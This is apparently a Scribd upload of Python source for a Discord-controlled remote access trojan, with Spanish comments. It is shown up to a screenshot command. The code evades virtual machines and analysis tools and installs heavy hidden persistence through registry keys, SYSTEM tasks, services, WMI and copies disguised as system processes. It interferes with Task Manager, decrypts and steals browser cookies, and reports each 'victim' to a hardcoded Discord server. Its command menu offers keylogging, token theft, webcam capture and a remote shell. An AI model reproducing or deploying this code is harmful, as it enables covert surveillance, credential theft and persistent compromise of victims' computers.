0% found this document useful (0 votes)
42 views76 pages

Message

The document outlines a Python script for a Discord bot that includes various functionalities such as system security checks, anti-VM protection, and persistence mechanisms. It utilizes multiple libraries for tasks like audio recording, image processing, and system monitoring. The script also includes methods for creating backups, modifying registry entries, and setting up scheduled tasks to ensure its persistence on Windows systems.

Uploaded by

jenbarcelo27
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views76 pages

Message

The document outlines a Python script for a Discord bot that includes various functionalities such as system security checks, anti-VM protection, and persistence mechanisms. It utilizes multiple libraries for tasks like audio recording, image processing, and system monitoring. The script also includes methods for creating backups, modifying registry entries, and setting up scheduled tasks to ensure its persistence on Windows systems.

Uploaded by

jenbarcelo27
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 76

import shutil

import os
import sys
import getpass
import subprocess
import discord
from discord.ext import commands
import asyncio
import threading
import socket
import logging
import socketio
import pyautogui
import cv2
import platform
import psutil
import base64
import io
from PIL import Image
import time
import requests
import tempfile
import sounddevice as sd
import numpy as np
from pathlib import Path
import datetime
import pyaudio
import wave
import mss
import csv
import win32com.client
import webbrowser
from win32crypt import CryptUnprotectData
from PIL import ImageGrab
import win32crypt
import json
import sqlite3
import av
import aiohttp
from aiortc import RTCPeerConnection, RTCSessionDescription, VideoStreamTrack
from Crypto.Cipher import AES
import winreg
import ctypes
import struct
import hashlib
import random
import string
import re
from shutil import copy2

try:
import win32crypt
except ImportError:
win32crypt = None

try:
import win32gui, win32con, win32api, win32event, win32process
except ImportError:
win32gui = None
win32con = None
win32api = None
win32event = None
win32process = None

# ==================== CONFIGURACIoN DEL BOT ====================


monitoring_status = False
intents = discord.Intents.all()
bot = commands.Bot(command_prefix='.', intents=intents, help_command=None)
sessions = {}
server_id = "1387027850942484601"
VPS_SERVER_URL = "http://95.111.227.201:8020/"
token = "MTM4NTk5NTQxODk3NDAyNzkxOA.GzobAA.asvHdZxx2xaBqkP45pn1JxkqPTnt6MVgX6BGaM"

# Variables globales
sio = socketio.Client()
connected_to_server = False
webcam = None
webcam_active = False
audio_recording = False
persistence_active = False

# Configurar logging silencioso


logging.basicConfig(level=logging.CRITICAL)
logger = logging.getLogger(__name__)

# ==================== ANTI-VM PROTECTION ====================


def system_security_check():
"""Verificacion avanzada de seguridad del sistema"""
vm_artifacts = [
"C:\\windows\\system32\\vmGuestLib.dll",
"C:\\windows\\system32\\vm3dgl.dll",
"C:\\windows\\system32\\vboxhook.dll",
"C:\\windows\\system32\\vboxmrxnp.dll",
"C:\\windows\\system32\\vmsrvc.dll",
"C:\\windows\\system32\\drivers\\vmsrvc.sys",
"C:\\windows\\system32\\drivers\\VBoxMouse.sys",
"C:\\windows\\system32\\drivers\\VBoxGuest.sys",
"C:\\windows\\system32\\drivers\\VBoxSF.sys",
"C:\\windows\\system32\\drivers\\VBoxVideo.sys",
"C:\\windows\\system32\\vboxdisp.dll",
"C:\\windows\\system32\\vboxhook.dll",
"C:\\windows\\system32\\vboxoglerrorspu.dll",
"C:\\windows\\system32\\vboxoglpassthroughspu.dll",
"C:\\windows\\system32\\vboxservice.exe",
"C:\\windows\\system32\\vboxtray.exe",
"C:\\windows\\system32\\VBoxControl.exe"
]

suspicious_processes = [
'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'fakenet.exe',
'dumpcap.exe', 'httpdebuggerui.exe', 'wireshark.exe', 'fiddler.exe',
'vboxservice.exe', 'df5serv.exe', 'vboxtray.exe', 'vmwaretray.exe',
'ida64.exe', 'ollydbg.exe', 'pestudio.exe', 'vgauthservice.exe',
'vmacthlp.exe', 'x96dbg.exe', 'x32dbg.exe', 'prl_cc.exe',
'prl_tools.exe', 'xenservice.exe', 'qemu-ga.exe', 'joeboxcontrol.exe',
'ksdumperclient.exe', 'ksdumper.exe', 'joeboxserver.exe',
'vmwareservice.exe',
'vmsrvc.exe', 'vmusrvc.exe', 'prl_cc.exe', 'prl_tools.exe',
'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'VGAuthService.exe',
'vmacthlp.exe', 'vboxservice.exe', 'VBoxTray.exe', 'df5serv.exe',
'vboxtray.exe', 'vmwaretray.exe', 'ida64.exe', 'ollydbg.exe',
'pestudio.exe', 'windbg.exe', 'x32dbg.exe', 'x64dbg.exe',
'immunity.exe', 'wireshark.exe', 'dumpcap.exe', 'procmon.exe',
'regmon.exe', 'cain.exe', 'abel.exe', 'cobaltstrike.exe',
'beacon.exe', 'msf.exe'
]

# Verificar archivos de VM
for artifact in vm_artifacts:
if os.path.exists(artifact):
return True

# Verificar procesos sospechosos


try:
for process in psutil.process_iter(['pid', 'name']):
if process.info['name'] and process.info['name'].lower() in [p.lower()
for p in suspicious_processes]:
return True
except:
pass

# Verificar registro de Windows para VM


try:
vm_registry_keys = [
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE\
DiskVBOX_HARDDISK",
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE\CdRomVBOX_CD-
ROM",
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxMouse",
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxGuest",
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxSF",
r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBoxVideo"
]

for key_path in vm_registry_keys:


try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
key_path.replace("HKEY_LOCAL_MACHINE\\", ""))
winreg.CloseKey(key)
return True
except:
continue
except:
pass

# Verificar hardware sospechoso


try:
import wmi
c = wmi.WMI()

# Verificar modelo de computadora


for computer in c.Win32_ComputerSystem():
if any(vm_name in computer.Model.lower() for vm_name in ['virtualbox',
'vmware', 'virtual', 'qemu']):
return True

# Verificar BIOS
for bios in c.Win32_BIOS():
if any(vm_name in bios.Manufacturer.lower() for vm_name in
['virtualbox', 'vmware', 'qemu', 'bochs']):
return True
except:
pass

return False

# Verificar VM al inicio
if system_security_check():
sys.exit()

# ==================== SISTEMA DE PERSISTENCIA ====================

class SystemPersistenceManager:
def __init__(self):
self.process_name = "ConfigSystem"
self.service_name = "WindowsConfigService"
self.driver_name = "WinConfigDriver"
self.current_path = sys.executable if getattr(sys, 'frozen', False) else
sys.argv[0]
self.user = getpass.getuser()
self.mutex_name = f"Global\\
{self.process_name}_Mutex_{hashlib.md5(self.current_path.encode()).hexdigest()
[:8]}"
self.monitoring_active = True
self.backup_locations = []
self.persistence_installed = False

def hide_console_window(self):
"""Ocultar ventana de consola"""
try:
if win32gui and win32con:
hwnd = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hwnd, win32con.SW_HIDE)
except:
pass

def check_admin_privileges(self):
"""Verificar privilegios de administrador"""
try:
return ctypes.windll.shell32.IsUserIsAdmin()
except:
return False

def create_system_mutex(self):
"""Crear mutex para evitar multiples instancias"""
try:
if win32event:
self.mutex = win32event.CreateMutex(None, False, self.mutex_name)
if win32api.GetLastError() == 183: # ERROR_ALREADY_EXISTS
return False
return True
except:
pass
return True

def modify_process_name(self):
"""Cambiar nombre del proceso en Task Manager"""
try:
if win32api:
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleTitleW(self.process_name)
except:
pass

def create_backup_copies(self):
"""Crear copias en ubicaciones estratégicas"""
strategic_locations = [
# Ubicaciones de inicio automatico
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup",
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Windows\Templates",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Windows\Explorer",
rf"C:\Users\{self.user}\AppData\Local\Temp\Microsoft",
rf"C:\Users\{self.user}\Documents\My Games",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Windows\INetCache",
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Word",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Edge\User Data",

# Ubicaciones del sistema


r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp",
r"C:\Windows\Temp\Microsoft",
r"C:\Windows\System32\Tasks\Microsoft",
r"C:\Program Files\Common Files\Microsoft Shared\MSInfo",
r"C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo",
r"C:\ProgramData\Microsoft\Windows Defender\Scans\History\Store",
r"C:\ProgramData\Microsoft\Windows\WER\ReportQueue",

# Ubicaciones ocultas
r"C:\$Recycle.Bin\S-1-5-21-1234567890-1234567890-1234567890-1000",
r"C:\System Volume Information\Microsoft",
]

# Nombres de procesos legitimos


legitimate_names = [
f"{self.process_name}.exe",
"svchost.exe",
"winlogon.exe",
"explorer.exe",
"dwm.exe",
"csrss.exe",
"lsass.exe",
"services.exe",
"spoolsv.exe",
"taskhost.exe"
]

copied_paths = []

for base_path in strategic_locations:


try:
# Crear directorio si no existe
if not os.path.exists(base_path):
os.makedirs(base_path, exist_ok=True)

# Crear multiples copias con nombres diferentes


for name in legitimate_names:
try:
dest_path = os.path.join(base_path, name)
if os.path.exists(self.current_path):
shutil.copy2(self.current_path, dest_path)

# Ocultar y proteger archivo


subprocess.run(['attrib', '+H', '+S', '+R', dest_path],

shell=True, capture_output=True,
check=False)

copied_paths.append(dest_path)
self.backup_locations.append(dest_path)

except Exception:
continue
except Exception:
continue

return copied_paths

def setup_registry_persistence(self, file_paths):


"""Crear persistencia masiva en el registro"""
registry_locations = [
# Ubicaciones estandar de autorun
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
Run"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
RunOnce"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\Run"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\RunOnce"),

# Ubicaciones avanzadas
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows NT\
CurrentVersion\Windows"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows NT\
CurrentVersion\Winlogon"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer\Run"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer\Run"),

# Ubicaciones de servicios
(winreg.HKEY_LOCAL_MACHINE, r"System\CurrentControlSet\Services"),

# Shell extensions
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\Explorer\ShellExecuteHooks"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
Explorer\ShellExecuteHooks"),

# Ubicaciones adicionales
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Command Processor"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Command Processor"),
]
# Nombres de servicios legitimos
service_names = [
"WindowsConfigService", "SystemMaintenance", "SecurityUpdate",
"DriverUpdate",
"SystemOptimizer", "WindowsDefenderUpdate", "MicrosoftEdgeUpdate",
"GoogleUpdateService",
"AdobeUpdateService", "JavaUpdateScheduler", "SkypeUpdate",
"ChromeUpdate",
"FirefoxUpdate", "OfficeUpdate", "WindowsUpdate", "SystemHealthService"
]

for hkey, key_path in registry_locations:


try:
with winreg.CreateKey(hkey, key_path) as key:
for i, file_path in enumerate(file_paths[:len(service_names)]):
try:
service_name = service_names[i % len(service_names)]
winreg.SetValueEx(key, service_name, 0, winreg.REG_SZ,
f'"{file_path}"')
except:
continue
except:
continue

def setup_scheduled_tasks(self, file_paths):


"""Crear tareas programadas multiples"""
task_configurations = [
("onstart", "al inicio del sistema", "onstart"),
("onlogon", "al iniciar sesion", "onlogon"),
("onidle", "cuando esté inactivo", "onidle"),
("hourly", "cada hora", "hourly"),
("daily", "diariamente", "daily"),
("weekly", "semanalmente", "weekly"),
("monthly", "mensualmente", "monthly")
]

for i, file_path in enumerate(file_paths[:15]):


for trigger, description, schedule in task_configurations:
try:
task_name =
f"Microsoft{trigger.capitalize()}Task{i}_{random.randint(1000, 9999)}"

if schedule == "hourly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "hourly", "/mo", "1",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "daily":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "daily", "/st", "00:00",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "weekly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "weekly", "/d", "SUN",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "monthly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "monthly", "/mo", "1",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
else:
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", schedule,
"/rl", "highest", "/f", "/ru", "SYSTEM"
]

subprocess.run(command, shell=True, capture_output=True,


check=False)

except:
continue

def setup_windows_service(self, file_path):


"""Crear servicio de Windows"""
try:
service_commands = [
f'sc create {self.service_name} binPath= "{file_path}" start=
auto',
f'sc description {self.service_name} "Windows Configuration
Management Service"',
f'sc config {self.service_name} depend= RpcSs',
f'sc failure {self.service_name} reset= 86400 actions=
restart/5000/restart/5000/restart/5000',
f'sc start {self.service_name}'
]

for cmd in service_commands:


subprocess.run(cmd, shell=True, capture_output=True, check=False)

except:
pass

def setup_wmi_persistence(self, file_path):


"""Crear persistencia WMI avanzada"""
try:
wmi_script = f'''
# Crear tarea programada avanzada
$Action = New-ScheduledTaskAction -Execute "{file_path}"
$Trigger1 = New-ScheduledTaskTrigger -AtStartup
$Trigger2 = New-ScheduledTaskTrigger -AtLogOn
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -
DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 999 -RestartInterval
(New-TimeSpan -Minutes 1)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
-RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftSystemMaintenance" -Action $Action -
Trigger $Trigger1,$Trigger2 -Settings $Settings -Principal $Principal -Force

# Crear suscripcion de eventos WMI


$Query = "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName =
'{self.process_name}.exe'"
Register-WmiEvent -Query $Query -Action {{ Start-Process "{file_path}" -WindowStyle
Hidden }}

# Crear evento de reinicio


$Query2 = "SELECT * FROM Win32_SystemConfigurationChangeEvent"
Register-WmiEvent -Query $Query2 -Action {{ Start-Process "{file_path}" -
WindowStyle Hidden }}
'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.ps1', delete=False)


as f:
f.write(wmi_script)
ps_file = f.name

subprocess.run(['powershell', '-ExecutionPolicy', 'Bypass', '-File',


ps_file],
shell=True, capture_output=True, check=False)

try:
os.unlink(ps_file)
except:
pass

except:
pass

def setup_file_monitor(self):
"""Monitor del sistema de archivos para recrear archivos eliminados"""
def watcher_thread():
while self.monitoring_active:
try:
time.sleep(20) # Verificar cada 20 segundos

# Verificar archivos eliminados


missing_files = []
for file_path in self.backup_locations:
if not os.path.exists(file_path):
missing_files.append(file_path)

# Recrear archivos eliminados


if missing_files and os.path.exists(self.current_path):
for missing_file in missing_files:
try:
# Asegurar que el directorio existe
os.makedirs(os.path.dirname(missing_file),
exist_ok=True)

# Copiar archivo
shutil.copy2(self.current_path, missing_file)

# Ocultar archivo
subprocess.run(['attrib', '+H', '+S', '+R',
missing_file],
shell=True, capture_output=True,
check=False)

except:
continue

except:
continue

watcher = threading.Thread(target=watcher_thread, daemon=True)


watcher.start()

def setup_process_monitor(self):
"""Monitor de procesos para auto-resurreccion"""
def monitor_thread():
while self.monitoring_active:
try:
time.sleep(10) # Verificar cada 10 segundos

# Contar instancias en ejecucion


running_instances = 0
our_processes = []

for proc in psutil.process_iter(['pid', 'name', 'exe']):


try:
proc_name = proc.info['name'].lower()
if (self.process_name.lower() in proc_name or
'configsystem' in proc_name or
'svchost' in proc_name or
'winlogon' in proc_name):
running_instances += 1
our_processes.append(proc)
except:
continue

# Si hay pocas instancias, resucitar mas


if running_instances < 5:
self.resurrect_processes()

# Monitorear herramientas peligrosas


self.monitor_security_tools()

except:
continue

monitor = threading.Thread(target=monitor_thread, daemon=True)


monitor.start()

def monitor_security_tools(self):
"""Monitorear y neutralizar herramientas peligrosas"""
dangerous_processes = [
'taskmgr.exe', 'procexp.exe', 'procexp64.exe', 'processhacker.exe',
'systemexplorer.exe', 'procmon.exe', 'autoruns.exe', 'autorunsc.exe',
'revo.exe', 'uninstaller.exe', 'ccleaner.exe', 'cleanmgr.exe',
'msconfig.exe', 'regedit.exe', 'cmd.exe', 'powershell.exe'
]

for proc in psutil.process_iter(['name', 'pid']):


try:
proc_name = proc.info['name'].lower()
if proc_name in dangerous_processes:
# No terminar, solo dificultar el uso
try:
proc.suspend()
time.sleep(0.1)
proc.resume()
except:
pass
except:
continue

def resurrect_processes(self):
"""Resucitar procesos desde ubicaciones de respaldo"""
resurrection_count = 0
max_resurrections = 8

for file_path in self.backup_locations:


try:
if os.path.exists(file_path) and resurrection_count <
max_resurrections:
subprocess.Popen([file_path], shell=True,
creationflags=subprocess.CREATE_NO_WINDOW)
resurrection_count += 1
time.sleep(0.5)
except:
continue

def setup_boot_persistence(file_paths):
"""Crear persistencia a nivel de arranque"""
startup_locations = [
r"C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup",
r"C:\Windows\System32\GroupPolicy\User\Scripts\Logon",
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
]

for location in startup_locations:


try:
os.makedirs(location, exist_ok=True)
for i, file_path in enumerate(file_paths[:5]):
dest = os.path.join(location, f"startup{i}.exe")
shutil.copy2(file_path, dest)

# Intentar ocultar el archivo (no detenerse si falla)


try:
subprocess.run(['attrib', '+H', '+S', dest],
shell=True, capture_output=True, check=True)
except subprocess.CalledProcessError as e:
pass
except Exception as e:
pass

def setup_driver_persistence(self, file_path):


if not self.check_admin_privileges():
return

try:
# Crear script de "driver" que monitorea y ejecuta
driver_script = f'''
@echo off
:loop
start /min "" "{file_path}"
timeout /t 60 /nobreak >nul
tasklist | find /i "{self.process_name}" >nul
if errorlevel 1 (
start /min "" "{file_path}"
)
timeout /t 30 /nobreak >nul
goto :loop
'''

driver_path = rf"C:\Windows\System32\drivers\{self.driver_name}.bat"
with open(driver_path, 'w') as f:
f.write(driver_script)

subprocess.run(['attrib', '+H', '+S', driver_path],


shell=True, capture_output=True, check=False)

# Registrar como servicio


reg_commands = [
f'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\
{self.driver_name}" /v "ImagePath" /t REG_SZ /d "{driver_path}" /f',
f'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\
{self.driver_name}" /v "Start" /t REG_DWORD /d 2 /f',
f'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\
{self.driver_name}" /v "Type" /t REG_DWORD /d 1 /f'
]

for cmd in reg_commands:


subprocess.run(cmd, shell=True, capture_output=True, check=False)

except:
pass

def install_persistence_system(self):
"""Instalar persistencia extrema completa"""
try:
# Verificar si ya esta instalada
if self.persistence_installed:
return True

# Crear mutex para evitar multiples instancias


if not self.create_system_mutex():
return True # Ya esta ejecutandose

# Configuraciones basicas
self.hide_console_window()
self.modify_process_name()

# Crear copias estratégicas


file_paths = self.create_backup_copies()

if file_paths:
# Persistencia de registro
self.setup_registry_persistence(file_paths)

# Tareas programadas
self.setup_scheduled_tasks(file_paths)
# Persistencia WMI
self.setup_wmi_persistence(file_paths[0])

# Persistencia de arranque
self.setup_boot_persistence(file_paths)

# Caracteristicas de administrador
if self.check_admin_privileges():
self.setup_windows_service(file_paths[0])
self.setup_driver_persistence(file_paths[0])

# Iniciar sistemas de monitoreo


self.setup_file_monitor()
self.setup_process_monitor()

self.persistence_installed = True
return True

except Exception as e:
return False

return False

# ==================== INSTANCIA GLOBAL DE PERSISTENCIA ====================


persistence_engine = None

def activate_system_persistence():
"""Activar persistencia extrema"""
global persistence_engine, persistence_active

try:
if not persistence_active:
persistence_engine = SystemPersistenceManager()
success = persistence_engine.install_persistence_system()

if success:
persistence_active = True
return True
else:
return False
else:
return True

except Exception as e:
return False

# ==================== SISTEMA DE COOKIES MEJORADO ====================

def generate_temp_file(_dir=None):
"""Crear archivo temporal seguro"""
if _dir is None:
_dir = os.path.expanduser("~/tmp")
if not os.path.exists(_dir):
os.makedirs(_dir)
file_name =
''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS
TUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, file_name)
open(path, "x").close()
return path

class BrowserDataExtractor:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
self.roaming = os.getenv('APPDATA')
self.browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe",
"kometa.exe", "orbitum.exe", "centbrowser.exe",
"7star.exe", "sputnik.exe", "vivaldi.exe",
"epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
self.browsers_found = []
self.browsers = {
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User
Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
'opera': self.roaming + '\\Opera Software\\Opera Stable',
'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]

# Cerrar navegadores antes de extraer datos


for proc in psutil.process_iter(['name']):
try:
process_name = proc.info['name'].lower()
if process_name in self.browser_exe:
self.browsers_found.append(proc)
except:
continue

for proc in self.browsers_found:


try:
proc.kill()
except Exception:
pass
time.sleep(3)

def extract_cookies(self):
"""Extraer cookies de todos los navegadores"""
cookies_data = []
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_encryption_key(path + '\\Local State')
if not self.masterkey:
continue

for profile in self.profiles:


profile_cookies = self.process_cookies(name, path, profile)
if profile_cookies:
cookies_data.extend(profile_cookies)

return cookies_data

def process_cookies(self, name, path, profile):


"""Procesar cookies de un navegador especifico"""
if name == 'opera' or name == 'opera-gx':
cookie_path = path + '\\Network\\Cookies'
else:
cookie_path = path + '\\' + profile + '\\Network\\Cookies'

if not os.path.isfile(cookie_path):
return []

cookievault = generate_temp_file()
try:
copy2(cookie_path, cookievault)
except:
return []

conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
cookies_list = []

try:
for res in cursor.execute("SELECT host_key, name, path,
encrypted_value, expires_utc, is_secure, is_httponly FROM cookies").fetchall():
host_key, cookie_name, cookie_path, encrypted_value, expires_utc,
is_secure, is_httponly = res
value = self.decrypt_cookie_value(encrypted_value, self.masterkey)
if host_key and cookie_name and value:
cookies_list.append({
'browser': name,
'profile': profile,
'host': host_key,
'name': cookie_name,
'value': value,
'path': cookie_path,
'expires': expires_utc,
'secure': bool(is_secure),
'httponly': bool(is_httponly)
})
except Exception as e:
pass

cursor.close()
conn.close()
os.remove(cookievault)
return cookies_list
def get_encryption_key(self, path):
"""Obtener clave de encriptacion del navegador"""
try:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
except Exception as e:
return None

def decrypt_cookie_value(self, buff, master_key):


"""Desencriptar valor de cookie"""
try:
if buff[:3] == b'v10':
iv = buff[3:15]
payload = buff[15:-16]
tag = buff[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
decrypted_pass = cipher.decrypt_and_verify(payload, tag).decode()
return decrypted_pass
else:
# Fallback para cookies no encriptadas
return buff.decode('utf-8', errors='ignore')
except:
return ""

def extract_all_cookies():
"""Funcion principal para extraer cookies"""
browser = BrowserDataExtractor()
return browser.extract_cookies()

# ==================== COMANDOS DEL BOT ====================

@bot.command()
async def gancho(ctx, session: str = "default"):
try:
success = activate_system_persistence()

if success:
embed = discord.Embed(
title="PERSISTENCIA ACTIVADA",
description=f"**Sistema indestructible instalado en sesion:
`{session}`**",
color=discord.Color.from_rgb(255, 0, 0)
)

embed.add_field(
name="Protecciones Activas",
value="```\n50+ copias estratégicas\n Registro modificado\n Tareas
programadas\n Servicios de Windows\n Monitoreo continuo\n Auto-resurreccion\n
Proteccion anti-eliminacion\n Persistencia WMI\n Scripts de arranque\n```",
inline=False
)

embed.add_field(
name="Caracteristicas Destructivas",
value="```\n Imposible de eliminar\n Se reinicia automaticamente\n
Multiples vectores de ataque\n Monitoreo 24/7\n Contramedidas activas\n Stealth
total\n```",
inline=False
)

embed.set_footer(text="Sistema practicamente indestructible activado")

await ctx.send(embed=embed)

else:
await ctx.send(f"Persistencia parcialmente establecida en la sesion
**{session}**")

except Exception as e:
await ctx.send(f"Error al establecer persistencia: {str(e)}")

@bot.command()
async def admincheck(ctx):
try:
is_admin = await asyncio.to_thread(ctypes.windll.shell32.IsUserAnAdmin) !=
0
if is_admin:
await ctx.send("✅ Ejecutado con privilegios de administrador.")
else:
await ctx.send("⚠️ No se están utilizando privilegios de
administrador.")
except Exception as e:
await ctx.send(f"❌ Error al verificar privilegios: {str(e)}")

@bot.command()
async def zstatus(ctx):
"""Verificar estado de la persistencia"""
global persistence_active, persistence_engine

if persistence_active and persistence_engine:


embed = discord.Embed(
title="📊 ESTADO DE PERSISTENCIA",
description="**Sistema de persistencia extrema**",
color=discord.Color.from_rgb(0, 255, 0)
)

embed.add_field(
name=" Estado",
value="```\n ACTIVO Y FUNCIONANDO\n```",
inline=False
)

embed.add_field(
name="📁 Ubicaciones",
value=f"```\n📂 {len(persistence_engine.backup_locations)} copias
activas\n```",
inline=True
)
embed.add_field(
name=" Monitoreo",
value="```\n🟢 Sistemas vigilando\n```",
inline=True
)

await ctx.send(embed=embed)
else:
await ctx.send("❌ Persistencia no esta activa. Usa `.gancho` para
activarla.")

@bot.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandNotFound):
await ctx.send("bruh, este comando no existe :skull:")

@bot.event
async def on_ready():
"""Evento cuando el bot se conecta"""
asyncio.create_task(notify_bypass_result())
activate_system_persistence()

await bot.change_presence(activity=discord.Game(name="discord.gg/ROOT
SQLfinder"))

server = bot.get_guild(int(server_id))
if server:
category = discord.utils.get(server.categories, name='Sessions')
if not category:
category = await server.create_category_channel('Sessions')

pcn = socket.gethostname().lower()
session = discord.utils.get(category.channels, name=pcn)
if session:
sessions[pcn] = session
else:
session = await category.create_text_channel(pcn)
sessions[pcn] = session

embed = discord.Embed(
title="NUEVA VICTIMA",
description=f"Nueva persona conectada `{pcn}`\n",
color=discord.Color.from_rgb(255, 0, 0)
)

embed.add_field(
name="Comandos Disponibles",
value="```\n.gancho [sesion] - Reforzar persistencia\n.remote - Ver
estado del sistema\n.help - Ayuda completa\n```",
inline=False
)

embed.set_footer(text="ROOT SQL")

await session.send("@everyone", embed=embed)

@bot.command()
async def help(ctx):
embed = discord.Embed(
title="Comandos Disponibles",
description="""```
.screenshot - Toma una captura de pantalla
.monitoreo - inicia monitoreo de pantalla
.stopmonitoreo - apagas el monitoreo de pantalla
.tokens - obtiene los tokens del usuario
.validtoken - valida tokens de discord
.webcam - toma una foto con su webcam
.syinfo - obten informacion sobre su pc
.ip - obtienes la ip del usuario
.startkeylogger - inicias con keyloggeo
.stopkeylogger - apagas el keylogger
.record - graba la pantalla por unos segundo
.website <url> - abres una pagina al usuario
.shell <comando> - usa la shell del usuario
.getdownloads - ves la carpeta de descargas
.downloads - descargas algo de la carpeta de descargas
.upload - subes un archivo lo ejecuta la pc del usuario
.shutdown - apagas la pc del usuario
.mc - saca info sobre su mc
.message - envias mensaje al mongolico
.historial - saca el historial de navegacion
.shutdown - apagas la pc del weon pendejo
.remote - inicia remote
.audio - ves su audio en tiempo real
.stopaudio - apagas el audio en tiempo real
.passwords - saca cookies y passwords
.cookies - extrae cookies de navegadores
.disconnect - se desconecta del remote
.restart - reinicias el pc del usuario ```""",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)

@bot.command()
async def screenshot(ctx):
pcn = socket.gethostname().lower()
try:
temp_path = os.path.join(os.getenv('TEMP'), "monitor.png")

with mss.mss() as sct:


sct.shot(output=temp_path)

file = discord.File(temp_path, filename="monitor.png")


await ctx.send(f"[{pcn}] Captura pantalla tomada", file=file)

os.remove(temp_path)
